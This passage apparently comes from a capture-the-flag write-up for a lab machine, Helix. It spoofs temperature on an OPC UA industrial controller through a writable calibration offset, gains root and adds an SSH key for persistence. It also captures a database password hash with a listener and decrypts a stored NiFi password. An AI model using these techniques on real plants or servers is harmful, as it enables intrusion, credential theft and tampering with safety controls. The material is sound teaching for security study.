  EmergencyCooling               ns=2;i=9                  2:EmergencyCooling       , False
  TripActive                     ns=2;i=10                 2:TripActive             , False
Control                        ns=2;i=11                 2:Control                
  Mode                           ns=2;i=12                 2:Mode                   , NORMAL
  TestOverride                   ns=2;i=13                 2:TestOverride           , False
  ResetTrip                      ns=2;i=14                 2:ResetTrip              , False

It shows the current TemperatureRaw, Temperature, Pressure, and CalibrationOffset, as well as other variables.

Read / Write Tags

I can read the tags directly, using the node ids above. For example, the Temperature is ns=2;i=4:

oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
283.98394810433166

The first step is to put the mode into MAINTENANCE, which I can do with uawrite:

oxdf@hacky$ uv run --with opcua --with cryptography uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=12" -t string MAINTENANCE
oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=12"
MAINTENANCE

The uaread shows it worked.

Next I’ll set TestOverride to true:

oxdf@hacky$ uv run --with opcua --with cryptography uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=13" -t bool True
oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=13"
True

I’ll try to set the temperature, but it fails:

oxdf@hacky$ uv run --with opcua --with cryptography uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4" -t double 298
Traceback (most recent call last):
  File "/home/oxdf/.cache/uv/builds-v0/.tmpg91cbE/bin/uawrite", line 10, in <module>
    sys.exit(uawrite())
             ~~~~~~~^^
  File "/home/oxdf/.cache/uv/archive-v0/XVjHN3y8lZlssdm-nKg3G/lib/python3.13/site-packages/opcua/tools.py", line 267, in uawrite
    node.set_attribute(args.attribute, ua.DataValue(val))
    ~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/oxdf/.cache/uv/archive-v0/XVjHN3y8lZlssdm-nKg3G/lib/python3.13/site-packages/opcua/common/node.py", line 263, in set_attribute
    result[0].check()
    ~~~~~~~~~~~~~~~^^
  File "/home/oxdf/.cache/uv/archive-v0/XVjHN3y8lZlssdm-nKg3G/lib/python3.13/site-packages/opcua/ua/uatypes.py", line 218, in check
    raise UaStatusCodeError(self.value)
opcua.ua.uaerrors._auto.BadUserAccessDenied: "User does not have permission to perform the requested operation."(BadUserAccessDenied)

BadUserAccessDenied says I don’t have permissions to write this node. Pressure has the same issue. I am able to write the CalibrationOffset. It starts as 0:

oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6"
0.0

If I bump it to 5:

oxdf@hacky$ uv run --with opcua --with cryptography uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 5.0
oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6"
5.0

The TemperatureRaw doesn’t change, but Temperature went up by 5:

oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=3"
283.9988853107744
oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
288.9989410452357

I need to get the temperature over 295 to reach the maintenance band, so I’ll make the offset a bit bigger:

oxdf@hacky$ uv run --with opcua --with cryptography uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 15.0
oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
297.806716916155

The web UI shows the maintenance window is open:

image-20260726170441762

Using FreeOpcUa Client

I’ll install opcua-client from PyPI using uv:

oxdf@hacky$ uv tool install opcua-client
Resolved 18 packages in 222ms
Prepared 7 packages in 1.49s
Installed 18 packages in 63ms
 + aiosqlite==0.22.1
 + anyio==4.14.2
 + asyncua==2.0.1
 + cffi==2.1.0
 + cryptography==49.0.0
 + idna==3.18
 + opcua-client==0.8.4
 + opcua-widgets==0.6.1
 + pycparser==3.0
 + pyopenssl==26.3.0
 + pyqt5==5.15.11
 + pyqt5-qt5==5.15.19
 + pyqt5-sip==12.18.0
 + python-dateutil==2.9.0.post0
 + pytz==2026.3.post1
 + six==1.17.0
 + sortedcontainers==2.4.0
 + typing-extensions==4.16.0
Installed 1 executable: opcua-client

Now I can run it with opcua-client:

image-20260729110526922

Because I already have the SSH tunnel for 4840 to Helix, I can just hit connect here. The result gives a tree-like view just like the command line:

image-20260729110549253

Under Plant I’ll find the same nodes I found from the command line with the same NodeIds:

image-20260729105658112

In the Attributes window (right click in the menu bar to recover any closed windows), it shows the value:

image-20260729110633579

I can edit these numbers as well. I’ll find the Mode, initially set at “NORMAL”:

image-20260729110752692

Clicking on the value allows edits:

image-20260729110818796

On hitting enter, it updates, and refreshing shows the change stuck. I’ll set TestOverride to True the same way.

If I try to set the Temperature the same way, it fails:

image-20260729111042194

At the bottom it says this user doesn’t have permission to perform the requested operation.

I’ll set the CalibrationOffset, just like with command line:

image-20260729111405613

The Temperature reading goes up:

image-20260729111425943

And it all shows up on the status page:

image-20260729111525911

Shell

Now I just need to run helix-maint-console:

operator@helix:~$ sudo helix-maint-console 
[+] Privileged maintenance access granted
[!] Window expires in 104 seconds
[!] Session will be terminated automatically
root@helix:/home/operator#

I can write an SSH key to keep access after the window closes:

root@helix:~/.ssh# echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" >> authorized_keys 

I’ll also grab root.txt:

root@helix:~# cat root.txt
631dd80a************************

Beyond Root - Nifi DB Password

Rogue Server

Plaintext Failures

With access to this DB connection in NiFi, I want to see if I can set the DB as my host, and capture a plaintext credential.

The current DB driver, H2, only ever sends a hash. On the other hand, MySQL has the mysql_clear_password auth plugin, which means that if the server requests it, the client sends the literal password.

I’ll set the connection to my host:

jdbc:mysql://10.10.15.217:3306/test?sslMode=DISABLED

sslMode=DISABLED drops the connection to plaintext (no TLS). The idea is that a rogue MySQL server can then send an auth-switch request telling the client to use the mysql_clear_password plugin, at which point the client hands over the literal password. Modern SQL clients may refuse to send a plaintext password over a non-TLS connection, but I’ll deal with that if I get that far.

I’ll try a couple things for the MySQL driver:

com.mysql.cj.jdbc.Driver
com.mysql.jdbc.Driver

Regardless of what I put in, when I update it, everything seems to work until I go to “Enable” the service. It always just hangs at “Enabling”:

image-20260727094352337

Going back with a shell, the reason is that there’s no MySQL JDBC driver on the host at all:

root@helix:~# find / -iname '*mysql*connector*.jar' -o -iname '*mariadb*.jar' 2>/dev/null
/opt/nifi-1.21.0/work/nar/extensions/nifi-cdc-mysql-nar-1.21.0.nar-unpacked/NAR-INF/bundled-dependencies/mysql-binlog-connector-java-0.27.5.jar
root@helix:~# ls /opt/nifi-1.21.0/lib/ | grep -iE 'mysql|mariadb'
nifi-cdc-mysql-nar-1.21.0.nar

mysql-binlog-connector-java is not a JDBC driver. It’s the library NiFi’s CaptureChangeMySQL (CDC) processor uses to read MySQL’s replication binlog. It doesn’t implement java.sql.Driver and provides no com.mysql.cj.jdbc.Driver class. So no matter what driver class or location I set, NiFi has no MySQL driver to instantiate, and the pool never finishes enabling.

Capture Hash

I can use the H2 driver that was originally there to capture a password hash, of the format SHA-256(USER@password). I’ll update the configuration back to the H2 driver (org.h2.Driver) and put the URL to point at an in memory DB named 0xdf:

image-20260727100046280

The H2 TCP driver connects to port 9092 by default, so I’ll listen there with nc (piping into xxd), enable the connection, and start ExecuteSQL. There’s a connection:

oxdf@hacky$ nc -lnvp 9092 | xxd
Listening on 0.0.0.0 9092
Connection received on 10.129.38.238 55748
00000000: 0000 0011 0000 0014 0000 0008 006d 0065  .............m.e
00000010: 006d 003a 0030 0078 0064 0066 0000 0028  .m.:.0.x.d.f...(
00000020: 006a 0064 0062 0063 003a 0068 0032 003a  .j.d.b.c.:.h.2.:
00000030: 0074 0063 0070 003a 002f 002f 0031 0030  .t.c.p.:././.1.0
00000040: 002e 0031 0030 002e 0031 0035 002e 0032  ...1.0...1.5...2
00000050: 0031 0037 003a 0039 0030 0039 0032 002f  .1.7.:.9.0.9.2./
00000060: 006d 0065 006d 003a 0030 0078 0064 0066  .m.e.m.:.0.x.d.f
00000070: 0000 0008 004f 0050 0045 0052 0041 0054  .....O.P.E.R.A.T
00000080: 004f 0052 0000 0020 01f0 b4cd ed3e 36bb  .O.R... .....>6.
00000090: f96e a2ed 1de6 8747 2bd9 daf0 9315 0807  .n.....G+.......
000000a0: 6393 77bf 2b3b 6556 ffff ffff 0000 0000  c.w.+;eV........

The UTF-16 name OPERATOR is sent (that’s the username), and then two null bytes, and then the hash, which I can format as 01f0b4cded3e36bbf96ea2ed1de687472bd9daf093150807639377bf2b3b6556.

I could try to crack this, but (a) it uses UTF-16 which I’d need to account for, and (b) I’ll find the real password in the next section and it’s not in any word lists I would use.

Decrypt Password

Collect Information

The password is stored in flow.xml.gz, which I can access with zcat, using tr to add some spacing to the XML, and then grepping for Password:

nifi@helix:/opt/nifi-1.21.0/conf$ zcat flow.xml.gz | tr '>' '>\n' | grep -B1 -A2 Password
      <property>
        <name>Password</name>
        <value>enc{2fae0e548c96fee3786a4fe62a8b9beca0df3ebe427757136038c11501f9beaa938c87d318d284a0316b3c6c4febd8125336}</value>
      </property>

It’s stored encrypted. The key is stored in nifi.properties:

nifi@helix:/opt/nifi-1.21.0/conf$ grep nifi.sensitive.props nifi.properties 
nifi.sensitive.props.key=TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl
nifi.sensitive.props.key.protected=
nifi.sensitive.props.algorithm=NIFI_PBKDF2_AES_GCM_256
nifi.sensitive.props.additional.keys=

There’s the key, as well as the algorithm, PBKDF2 / AES GCM 256.

Recover Password

I need to process the enc string, breaking it into 3 parts:

  • 16 byte IV (32 hex characters)
  • encrypted text
  • 16 byte AES GCM tag (32 hex characters)

I’ll put the enc text into Input and use the “Register” operation:

image-20260727103435278

This doesn’t change the output, but does store values in $R0, $R1, and $R2.

Next I’ll use the PBKDF2 operation, which ignores the input and generates a key:

image-20260727103830287

There’s a bunch of parameters here, which I can have AI grab from the NiFi source. The salt is a hardcoded “NiFi Static Salt” constant. I’ll save the derived key in another register, $R3.

I’ll use “Find / Replace” to clear the output and replace it with $R1, and then use AES Decrypt to decrypt that using the other registers as inputs:

image-20260727104804457

The resulting plaintext password is “R7qZ9L3xKM2W8pFYcA”. While this wouldn’t have been brute-forcable, I can verify it:

oxdf@hacky$ echo -n 'OPERATOR@R7qZ9L3xKM2W8pFYcA' | iconv -f UTF-8 -t UTF-16BE | sha256sum 
01f0b4cded3e36bbf96ea2ed1de687472bd9daf093150807639377bf2b3b6556  -

That matches the hash I recovered above.

The full CyberChef recipe looks like:

flowchart TD
    A("enc{...} hex value") --> REG["Register<br/>regex splits the hex"]
    REG --> R0>"$R0 = IV<br/>(first 16 bytes)"]
    REG --> R1>"$R1 = ciphertext<br/>(middle bytes)"]
    REG --> R2>"$R2 = GCM tag<br/>(last 16 bytes)"]

    REG -.-x PBKDF2["PBKDF2<br/>passphrase = nifi.sensitive.props.key<br/>salt = 'NiFi Static Salt'<br/>iterations = 160000<br/>PRF = SHA512<br/>key length = 32 bytes"]
    PBKDF2 --> R3>"$R3 = AES-256 key"]

    PBKDF2 -.-x FR["Find / Replace<br/>output = $R1 (ciphertext)"]
    FR --> DEC["AES Decrypt<br/>mode = GCM<br/>key = $R3<br/>IV = $R0<br/>tag = $R2"]
    DEC --> OUT("Plaintext password<br/>R7qZ9L3xKM2W8pFYcA")
    linkStyle 0,4,6,7,8 stroke:#e6194B,stroke-width:3px
    linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;

The red lines track the output flow of CyberChef, where the x shows that the input isn’t used in the next stage.